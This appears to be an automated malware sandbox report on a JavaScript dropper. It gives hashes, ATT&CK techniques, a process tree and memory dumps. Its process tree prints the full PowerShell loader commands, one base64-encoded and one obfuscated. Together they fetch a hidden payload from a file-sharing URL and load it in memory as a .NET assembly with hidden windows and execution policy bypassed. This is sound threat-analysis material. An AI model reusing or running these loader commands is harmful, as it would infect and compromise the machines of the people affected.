0844465dfa8bb241f452c320bc6caf6cec645b461dbcd468a2afc9dc900e595c

General

Target

uPh2C.js
Size

58KB
MD5

705e54950f28c565dbe4818eb2be7423
SHA1

19ff36dbb676a64197e0a645adf317d2b9cc17d3
SHA256

0844465dfa8bb241f452c320bc6caf6cec645b461dbcd468a2afc9dc900e595c
SHA512

cc9b21272ba9a2fa038a82c8206303575ce9374f1275b9c394407828c475789616e914befecf58e25c94d451fa92d5a313a611188516b4120015846dac56288f
SSDEEP

1536:a0vDHXpEjO9Xwq2Sk6e2Nhxdd5pdLv+l/4QmuWOMP3HXpEjO9Xwq2Sk6e2Nhxddi:aoDHXp+q62Nhxdd5pdq61HXp+q62Nhx6

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

exe.dropper

https://1017.filemail.com/api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2824	powershell.exe
6	2824	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1408	powershell.exe
2824	powershell.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1408	powershell.exe
2824	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1408	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1764 wrote to memory of 1408	1764	wscript.exe	31
PID 1764 wrote to memory of 1408	1764	wscript.exe	31
PID 1764 wrote to memory of 1408	1764	wscript.exe	31
PID 1408 wrote to memory of 2824	1408	powershell.exe	33
PID 1408 wrote to memory of 2824	1408	powershell.exe	33
PID 1408 wrote to memory of 2824	1408	powershell.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\uPh2C.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1764
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LgAgACgAIAAkAEUATgBWADoAQwBvAG0AcwBQAEUAQwBbADQALAAxADUALAAyADUAXQAtAEoATwBpAG4AJwAnACkAIAAoACAAKAAnAEgATAAxAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABPAEoAMABoAHQAdABwAHMAOgAvAC8AMQAwADEANwAuAGYAaQBsAGUAbQBhAGkAbAAuAGMAbwBtAC8AYQBwAGkALwAnACsAJwBmAGkAbABlAC8AZwBlAHQAPwBmAGkAbABlAGsAZQB5AD0AMgBBAGEAXwAnACsAJwBiAFcAbwA5AFIAZQB1ADQANQB0ADcAQgBVADEAawBWAGcAJwArACcAcwBkACcAKwAnADkAcABUADkAcABnAFMAUwBsAHYAUwB0AEcAcgBuAFQASQAnACsAJwBDAGYARgBoAG0AVABLAGoAMwBMAEMANgBTAFEAdABJAGMATwBjAF8AVAAzADUAdwAmAHAAawBfAHYAaQBkAD0AZgBkADQAZgA2ADEANABiAGIAMgAwADkAYwA2ADIAYwAxADcAMwAwADkANAA1ADEANwA2AGEAMAA5ADAANABmACAATwBKADAAOwBIACcAKwAnAEwAMQB3AGUAYgBDAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsASABMADEAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABIAEwAMQB3AGUAYgBDAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgASABMADEAaQBtAGEAZwBlAFUAcgBsACkAOwBIAEwAMQBpAG0AYQBnAGUAVABlAHgAdAAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABIAEwAMQBpAG0AYQBnAGUAQgB5AHQAZQBzACkAOwBIAEwAMQBzAHQAYQByAHQARgBsAGEAZwAgAD0AIABPAEoAMAA8ADwAQgBBAFMARQA2ADQAXwBTAFQAQQBSAFQAPgA+AE8ASgAwADsASABMADEAJwArACcAZQBuAGQARgBsAGEAZwAgAD0AIABPAEoAMAA8ADwAQgBBAFMARQA2ADQAXwBFAE4ARAA+AD4ATwBKADAAOwBIAEwAMQBzAHQAYQByAHQASQBuAGQAZQB4ACAAPQAgAEgATAAxAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AJwArACcAZgAoAEgATAAxAHMAdABhAHIAdABGAGwAYQBnACkAOwBIAEwAMQBlAG4AZABJAG4AZABlAHgAIAA9ACAASABMADEAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgASABMADEAZQBuAGQARgBsAGEAZwApADsASABMADEAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIABIAEwAMQBlAG4AZABJAG4AZABlAHgAIAAtAGcAdAAgAEgATAAnACsAJwAxAHMAdABhAHIAdABJAG4AZABlAHgAOwBIAEwAMQBzAHQAYQByAHQAJwArACcASQBuAGQAZQB4ACAAKwA9ACAASABMADEAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7AEgATAAxAGIAJwArACcAYQBzAGUANgA0AEwAZQBuAGcAdABoACcAKwAnACAAPQAgAEgATAAxACcAKwAnAGUAbgBkAEkAbgBkAGUAeAAgAC0AIABIACcAKwAnAEwAMQBzAHQAYQByAHQASQBuAGQAZQB4ADsASABMADEAYgAnACsAJwBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAgAD0AIABIAEwAMQBpAG0AYQBnAGUAVABlAHgAdAAuAFMAdQBiAHMAdAByAGkAbgBnACgASABMADEAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAASABMADEAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQA7AEgATAAxAGIAYQBzAGUANgA0AFIAZQB2AGUAcgBzAGUAZAAgAD0AIAAtAGoAbwBpAG4AIAAoAEgATAAxAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgAnACsAJwBUAG8AQwBoAGEAcgBBAHIAcgBhAHkAKAApACAASQBPAEUAIABGAG8AcgBFAGEAYwBoAC0ATwBiAGoAZQBjAHQAIAB7ACAASABMADEAXwAgAH0AKQBbAC0AMQAuAC4ALQAoAEgATAAxAGIAYQBzAGUANgA0AEMAbwBtAG0AYQBuAGQALgBMAGUAbgBnAHQAaAApAF0AOwBIAEwAMQBjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgASABMADEAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACkAOwBIAEwAMQBsAG8AYQAnACsAJwBkAGUAJwArACcAZABBAHMAcwBlAG0AYgBsAHkAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAZQBmAGwAZQBjAHQAaQBvAG4ALgBBAHMAcwBlAG0AYgBsAHkAXQA6ADoATABvAGEAZAAoAEgATAAxAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQAnACsAJwBzACkAOwBIAEwAMQB2AGEAaQBNAGUAdABoAG8AZAAgAD0AIABbAGQAbgBsAGkAYgAuAEkATwAuAEgAbwBtAGUAXQAuAEcAZQB0AE0AZQB0AGgAbwBkACgATwBKADAAVgBBACcAKwAnAEkATwBKADAAKQA7AEgATAAxAHYAYQBpAE0AZQB0AGgAbwBkAC4ASQBuAHYAbwBrAGUAKABIAEwAMQBuAHUAbABsACwAJwArACcAIABAACgATwBKADAAMAAvAHQAUQA5AEgAMQAvAGQALwBlAGUALgBlAHQAcwBhAHAALwAvADoAcwBwAHQAdABoAE8ASgAwACwAIABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwAIAAnACsAJwBPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwAIABPAEoAMABkAGUAcwBhACcAKwAnAHQAaQB2AGEAZABvAE8ASgAwACwAIABPAEoAMABNAFMAQgB1AGkAbABkAE8ASgAwACwAIABPAEoAMABkAGUAcwAnACsAJwBhAHQAaQB2AGEAZABvAE8ASgAwACwAJwArACcAIABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAAsAE8ASgAwAGQAZQBzAGEAdABpAHYAYQBkAG8ATwBKADAALABPAEoAMABkAGUAcwBhAHQAaQB2AGEAZABvAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAAsAE8ASgAwAGQAZQBzAGEAdABpAHYAYQBkAG8ATwBKADAALABPACcAKwAnAEoAMAAxAE8ASgAwACwATwBKADAAZABlAHMAYQB0AGkAdgBhAGQAbwBPAEoAMAApACkAOwAnACkALgBSAGUAcABsAEEAQwBFACgAKABbAGMASABBAHIAXQA3ADMAKwBbAGMASABBAHIAXQA3ADkAKwBbAGMASABBAHIAXQA2ADkAKQAsACcAfAAnACkALgBSAGUAcABsAEEAQwBFACgAKABbAGMASABBAHIAXQA3ADIAKwBbAGMASABBAHIAXQA3ADYAKwBbAGMASABBAHIAXQA0ADkAKQAsAFsAUwBUAHIAaQBuAGcAXQBbAGMASABBAHIAXQAzADYAKQAuAFIAZQBwAGwAQQBDAEUAKAAoAFsAYwBIAEEAcgBdADcAOQArAFsAYwBIAEEAcgBdADcANAArAFsAYwBIAEEAcgBdADQAOAApACwAWwBTAFQAcgBpAG4AZwBdAFsAYwBIAEEAcgBdADMAOQApACkA';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1408
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ENV:ComsPEC[4,15,25]-JOin'') ( ('HL1imageUrl = OJ0https://1017.filemail.com/api/'+'file/get?filekey=2Aa_'+'bWo9Reu45t7BU1kVg'+'sd'+'9pT9pgSSlvStGrnTI'+'CfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f OJ0;H'+'L1webClient = New-Object System.Net.WebClient;HL1imageBytes = HL1webClient.DownloadData(HL1imageUrl);HL1imageText = [System.Text.Encoding]::UTF8.GetString(HL1imageBytes);HL1startFlag = OJ0<<BASE64_START>>OJ0;HL1'+'endFlag = OJ0<<BASE64_END>>OJ0;HL1startIndex = HL1imageText.IndexO'+'f(HL1startFlag);HL1endIndex = HL1imageText.IndexOf(HL1endFlag);HL1startIndex -ge 0 -and HL1endIndex -gt HL'+'1startIndex;HL1start'+'Index += HL1startFlag.Length;HL1b'+'ase64Length'+' = HL1'+'endIndex - H'+'L1startIndex;HL1b'+'ase64Command = HL1imageText.Substring(HL1startIndex, HL1base64Length);HL1base64Reversed = -join (HL1base64Command.'+'ToCharArray() IOE ForEach-Object { HL1_ })[-1..-(HL1base64Command.Length)];HL1commandBytes = [System.Convert]::FromBase64String(HL1base64Reversed);HL1loa'+'de'+'dAssembly = [System.Reflection.Assembly]::Load(HL1commandByte'+'s);HL1vaiMethod = [dnlib.IO.Home].GetMethod(OJ0VA'+'IOJ0);HL1vaiMethod.Invoke(HL1null,'+' @(OJ00/tQ9H1/d/ee.etsap//:sptthOJ0, OJ0desativadoOJ0, '+'OJ0desativadoOJ0, OJ0desa'+'tivadoOJ0, OJ0MSBuildOJ0, OJ0des'+'ativadoOJ0,'+' OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,OJ0desativadoOJ0,O'+'J01OJ0,OJ0desativadoOJ0));').ReplACE(([cHAr]73+[cHAr]79+[cHAr]69),'|').ReplACE(([cHAr]72+[cHAr]76+[cHAr]49),[STring][cHAr]36).ReplACE(([cHAr]79+[cHAr]74+[cHAr]48),[STring][cHAr]39))"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2824

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

2

T1059

JavaScript

1

T1059.007

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
528c31e48b646c469b8c267c87b89ad5

SHA1
a14d03a34793f6c3e24975b87f2aeadadda7c9c0

SHA256
791f90e3bad57a7d1092e18ade0725742ec441d7f30a60a32bd85ff4ed0d8b29

SHA512
c3adcc7241fa8de131917506c15d7d020a5a27bf283c34a62cd8a64ca57b3343c1eb2462791009c96b79061472bdfa3202af3d2a90c0d7898b4c431171132b13

Download Submit
memory/1408-4-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/1408-5-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1408-6-0x000000001B270000-0x000000001B552000-memory.dmp

Filesize
2.9MB

Download
memory/1408-7-0x00000000022E0000-0x00000000022E8000-memory.dmp

Filesize
32KB

Download
memory/1408-8-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1408-9-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1408-15-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download
memory/1408-16-0x000007FEF5B3E000-0x000007FEF5B3F000-memory.dmp

Filesize
4KB

Download
memory/1408-17-0x000007FEF5880000-0x000007FEF621D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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